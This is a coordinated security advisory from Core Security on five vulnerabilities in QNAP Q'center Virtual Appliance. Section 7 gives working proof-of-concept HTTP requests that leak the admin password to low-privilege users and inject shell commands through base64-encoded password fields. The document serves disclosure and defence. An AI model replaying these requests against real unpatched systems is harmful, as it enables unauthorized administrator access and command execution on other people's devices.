QNAP Qcenter Virtual Appliance Multiple Vulnerabilities

Advisory ID Internal
CORE-2018-0006

1. Advisory Information

Title: QNAP Q'center Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2018-0006
Advisory URL: https://www.coresecurity.com/core-labs/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities
Date published: 2018-07-11
Date of last update: 2018-07-11
Vendors contacted: QNAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Information Exposure [CWE-200], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709, CVE-2018-0710

3. Vulnerability Description

QNAP's website states that:

[1] Q'center Virtual Appliance is a central management platform that enables you to consolidate the management of multiple QNAP NAS. The Q'center web interface gives you the ease-of-use, cost-efficiency, convenience and flexibility to manage multiple NAS, across multiple sites, from any internet browser.

The platform's provides centralized web-based administration to manage the following features:

  • Review HDD S.M.A.R.T. values
  • Monitor system status
  • Manage apps and shared folders
  • Review infographice reports

Multiple vulnerabilities were found in the Q'center Virtual Appliance web console that would allow an attacker to execute arbitrary commands on the system.

4. Vulnerable Versions

  • Q'center Virtual Appliance Version 1.6.1056 (20170825)
  • Q'center Virtual Appliance Version 1.6.1075 (20171123)

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

QNAP published the following Security Note:

  • https://www.qnap.com/en-us/security-advisory/nas-201807-10

6. Credits

These vulnerabilities were discovered and researched by Ivan Huertas from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.

7. Technical Description / Proof of Concept Code

QNAP's Q'center Virtual Appliance web console includes a functionality that would allow an authenticated attacker to elevate privileges on the system. We describe this issue in section 7.1.

Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command execution.

7.1. Privilege escalation

[CVE-2018-0706] The application contains an API endpoint that returns information about the accounts defined in the database. The information returned is informative for all the users except for the admin user, which cames with every installation, where an extra field is presented. This extra field (new_password) contains the password defined at installation time for the admin user encoded in base64.

Any authenticated user could access this API endpoint and retrieve the admin user's password, therefore being able to login as an administrator.

The following proof of concept shows a user with viewer access retrieving the admin's password encoded in base64 in the new_password field.

 GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432; _ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false Connection: close HTTP/1.1 200 OK Date: Thu, 01 Mar 2018 19:23:43 GMT Server: Apache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: application/json Content-Length: 878 Connection: close { "total_count": 2, "account": [ { "dst_enable": false, "name": "admin", "default": true, "new_password": "YWRtaW5pc3RyYWRvcg==", "authentication": 0, "create_time": { "$date": 1519917983616 }, "role": 4294967295, "timezone_code": 17, "last_login": { "$date": 1519929869797 }, "_id": "5a981b9f3af7e2030c883592", "email": "", "description": "administrator" }, { "dst_enable": false, "name": "viewer", "register_code": "", "authentication": 0, "create_time": { "$date": 1519929122332 }, "role": 1082130432, "timezone_code": 17, "last_login": { "$date": 1519932215818 }, "_id": "5a9847223af7e2034924e7b6", "email": "", "description": "" } ] } 

As can be seen in the following excerpt, the decoded base64 data corresponds to the plaintext administrator password set at installation time.

 $ echo YWRtaW5pc3RyYWRvcg== | base64 -d administrador 

7.2. Command Execution in change password for the admin user

[CVE-2018-0707] When the admin user performs a password change, the application executes an OS command to impact the changes. The input is not properly sanitized when passed down to the OS, allowing an attacker to run arbitrary commands.

 POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1 Host: 192.168.1.209 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.209/qcenter/ Content-Length: 118 Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295; _ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false Connection: close {"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="} 

The API requires to send the password encoded in base64. This makes a lot easier to inject command as we do not need to bypass any filters. For the admin user in the web application, there is also a backing user present on the OS. When a password change is requested for this user, the values submitted to the API are included in a "sudo passwd" command, where the injection occurs.

In this particular case, the old_password must match the current password, which can be obtained by exploiting [CVE-2018-0706].

7.3. Command Execution in network config update

[CVE-2018-0708] The admin user created at installation time can modify the network configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could also execute this function, despite access not being provided through the web application interface. This function requires to send the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the network settings. We used the passwd field to inject command (";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.

 POST /qcenter/hawkeye/v1/network_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 87 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"} 

The passwd parameter is used in bash echo command unsanitized.

7.4. Command Execution in date config update

[CVE-2018-0709] The admin user created at installation time is capable of modifying the date configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could execute this function, despite the access is not provided through the web application interface. This function requires to submit the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the date configuration settings. We used the passwd field to inject command (";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.

 POST /qcenter/hawkeye/v1/date_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 153 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"} 

The passwd parameter is used in bash echo command unsanitized.

7.5. Command Execution in SSH settings config update

[CVE-2018-0710] The admin user created at installation time is capable of modifying the SSH configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability). However, we identified that a user with the Power User profile could execute this function, despite the access is not provided through the web application interface. This function requires to submit the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the date configuration settings. We used the passwd field to inject command ("";touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.

 POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https:// 192.168.1.178/qcenter/ Content-Length: 82 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="} 

The passwd parameter is used in bash echo command unsanitized.

8. Report Timeline

  • 2018-03-13: Core Security sent an initial notification to QNAP, including a draft advisory.
  • 2018-03-14: QNAP replied that they received the draft version of the advisory and that they would review it.
  • 2018-03-23: Core Security requested a status update.
  • 2018-04-10: Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them.
  • 2018-04-12: QNAP answered saying that they were unable to reproduce the reported vulnerabilities and asked for more detailed information to reproduce them.
  • 2018-04-13: Core Security sent a more detailed guide to test.
  • 2018-04-16: QNAP confirmed reception.
  • 2018-04-26: Core Security requested a status update.
  • 2018-04-29: QNAP confirmed the reported vulnerabilities and informed that their software team were working in a fixed version.
  • 2018-05-21: Core Security requested a status update.
  • 2018-05-28: QNAP informed that a new version of Q'center would be release by the week of June 4.
  • 2018-05-28: Core Security thanked for the update and proposed June 13th as publication date.
  • 2018-05-29: QNAP answered saying that the new Q'center release was delayed and asked to postpone the publication a week later.
  • 2018-05-29: Core Security asked for a solidified release date in order to go public at the same time.
  • 2018-06-04: QNAP informed that they didn't have a confirmed date yet.
  • 2018-06-08: Core Security asked QNAP for a status update.
  • 2018-06-12: QNAP notified that Q'center was under testing, for that reason they didn't have a confirmed release date.
  • 2018-06-25: Core Security asked again for a status update.
  • 2018-06-27: QNAP replied that they were expecting to release their security advisory next week Thursday or Friday.
  • 2018-06-28: Core Security informed QNAP that recommend vendors not to publish near the weekend and proposed Wednesday July 11th as the publication date.
  • 2018-07-02: Core Security asked for a confirmation about the proposed date.
  • 2018-07-03: QNAP confirmed July 11th as the publication date.
  • 2018-07-11: Advisory CORE-2018-0006 published.

9. References

[1] https://www.qnap.com/solution/qcenter/index.php

10. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@helpsystems.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/